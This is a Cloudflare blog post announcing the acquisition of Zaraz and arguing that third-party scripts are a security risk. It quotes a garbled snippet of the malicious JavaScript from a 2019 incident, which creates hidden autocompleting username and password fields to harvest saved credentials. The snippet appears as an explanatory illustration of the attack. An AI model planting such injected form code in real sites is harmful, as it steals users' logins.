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Why Cloudflare Bought Zaraz


6 min read

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Why Cloudflare Bought Zaraz

Today we're excited to announce that Cloudflare has acquired Zaraz. The Zaraz value proposition aligns with Cloudflare's mission. They aim to make the web more secure, more reliable, and faster. And they built their solution on Cloudflare Workers. In other words, it was a no-brainer that we invite them to join our team.

Be Careful Who Takes Out the Trash

To understand Zaraz's value proposition, you need to understand one of the biggest risks to most websites that people aren't paying enough attention to. And, to understand that, let me use an analogy.

Imagine you run a business. Imagine that business is, I don't know, a pharmacy. You have employees. They have a process and way they do things. They're under contract, and you conduct background checks before you hire them. They do their jobs well and you trust them. One day, however, you realize that no one is emptying the trash. So you ask your team to find someone to empty the trash regularly.

Your team is busy and no one has the time to add this to their regular duties. But one plucky employee has an idea. He goes out on the street and hails down a relative stranger. "Hey," your employee says to the stranger. "I've seen you walking by this way every day. Would you mind stopping in and taking out the trash when you do?"

"Uh", the stranger says. "Sure?!"

"Great," your employee says. "Here's a badge that will let you into the building. The trash is behind the secure area of the pharmacy, but, don't worry, just use the badge, and you can get back there. You look trustworthy. This will work out great!!"

And for a while it does. The stranger swings by every day. Takes out the trash. Behaves exactly as hoped. And no one thinks much about the trash again.

But one day you walk in, and the pharmacy has been robbed. Drugs stolen, patient records missing. Logs indicate that it was the stranger's badge that had been used to access the pharmacy. You track down the stranger, and he says "Hey, that sucks, but it wasn't me". I handed off that trash responsibility to someone else long ago when I stopped walking past the pharmacy every day."

And you never track down the person who used the privileged access to violate your trust.

The Keys to the Kingdom

Now, of course, this is crazy. No one would go pick a random stranger off the street and give them access to their physical store. And yet, in the virtual world, a version of this happens all the time.

Every day, front end developers, marketers, and even security teams embed third-party scripts directly on their web pages. These scripts perform basic tasks — the metaphorical equivalent of taking out the trash. When performing correctly, they can be valuable at bringing advanced functionality to sites, helping track marketing conversions, providing analytics, or stopping fraud. But, if they ever go bad, they can cause significant problems and even steal data.

At the most mundane, poorly configured scripts can slow down the rendering pages. While there are ways to make scripts non-blocking, the unfortunate reality is that their developers don't always follow the best practices. Often when we see slow websites, the biggest cause of slowness is all the third-party scripts that have been embedded.

But it can be worse. Much worse. At Cloudflare, we've seen this first hand. Back in 2019 a hacker compromised a third-party service that Cloudflare used and modified the third-party JavaScript that was loaded into a page on Their aim was to steal login cookies, usernames and passwords. They went so far as to automatically create username and password fields that would autocomplete.

Here’s a snippet of the actual code injected:

        var cf_form = document.createElement("form"); = "none";
        var cf_email = document.createElement("input");
        cf_email.setAttribute("type", "text");
        cf_email.setAttribute("name", "email");
        cf_email.setAttribute("autocomplete", "username");
        cf_email.setAttribute("id", "_email_"); = "none";
        var cf_password = document.createElement("input");
        cf_password.setAttribute("type", "password");
        cf_password.setAttribute("name", "password");
        cf_password.setAttribute("autocomplete", "current-password");
        cf_password.setAttribute("id", "_password_"); = "none";

Luckily, this attack caused minimal damage because it was caught very quickly by the team, but it highlights the very real danger of third-party JavaScript. Why should code designed to count clicks even be allowed to create a password field?

Put simply, third-party JavaScript is a security nightmare for the web. What looks like a simple one-line change (“just add this JavaScript to get free page view tracking!”) opens a door to malicious code that you simply don’t control.

And worse is that third-party JavaScript can and does load other JavaScript from other unknown parties. Even if you trust the company whose code you’ve chosen to embed, you probably don’t trust (or even know about!) what they choose to include.

And even worse these scripts can change any time. Security threats can come and go. The attacker who went after Cloudflare compromised the third-party and modified their service to only attack Cloudflare and included anti-debugging features to try to stop developers spotting the hack. If you're a CIO and this doesn't freak you out already, ask your web development team how many third-party scripts are on your websites. Do you trust them all?

The practice of adding third-party scripts to handle simple tasks is the literal equivalent of pulling a random stranger off the street, giving them physical access to your office, and asking them to stop by once a day to empty the trash. It's completely crazy in the physical world, and yet it's common practice in web development.

Sandboxing the Strangers

At Cloudflare, our solution was draconian. We ordered that all third-party scripts be stripped from our websites. Different teams at Cloudflare were concerned. Especially our marketing team, who used these scripts to assess whether the campaigns they were running were successful. But we made the decision that it was more important to protect the integrity of our service than to have visibility into things like marketing campaigns.

It was around this time that we met the team behind Zaraz. They argued there didn't need to be such a drastic choice. What if, instead, you could strictly control what the scripts that you insert on your page did. Make sure if ever they were compromised they wouldn't have access to anything they weren't authorized to see. Ensure that if they failed or were slow they wouldn't keep a page from rendering.

We've spent the last half year testing Zaraz, and it's magical. It gives you the best of the flexible, extensible web while ensuring that CIOs and CISOs can sleep well at night knowing that even if a third-party script provider is compromised, it won't result in a security incident.

To put a fine point on it, had Cloudflare been running Zaraz then the threat from the compromised script we saw in 2019 would have been completely and automatically eliminated. There’s no way for the attacker to create those username and password fields, no access to cookies that are stored in the user’s browser. The attack surface would have been completely removed.

We've published two other posts today outlining how Zaraz works as well as examples of how companies are using it to ensure their web presence is secure, reliable, and fast. We are making Zaraz available to our Enterprise customers immediately, and all other customers can access a free beta version on their dashboard starting today.

If you're a third-party script developer, be on notice that if you're not properly securing your scripts, then as Zaraz rolls out across more of the web your scripts will stop working. Today, Cloudflare sits in front of nearly 20% of all websites and, before long, we expect Zaraz's technology will help protect all of them. We want to make sure all scripts running on our customers' sites meet modern security, reliability, and performance standards. If you need help getting there, please reach out, and we’ll be standing ready to help: [email protected].

In the meantime, we encourage you to read about how the Zaraz technology works and how customers like Instacart are using it to build a better web presence.

It's terrific to have Zaraz on board, furthering Cloudflare's mission to help build a better Internet. Welcome to the team. And in that vein: we'd like to welcome you to Zaraz! We're excited for you to get your hands on this piece of technology that makes the web better.

We protect entire corporate networks, help customers build Internet-scale applications efficiently, accelerate any website or Internet application, ward off DDoS attacks, keep hackers at bay, and can help you on your journey to Zero Trust.

Visit from any device to get started with our free app that makes your Internet faster and safer.

To learn more about our mission to help build a better Internet, start here. If you're looking for a new career direction, check out our open positions.
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Matthew Prince|@eastdakota

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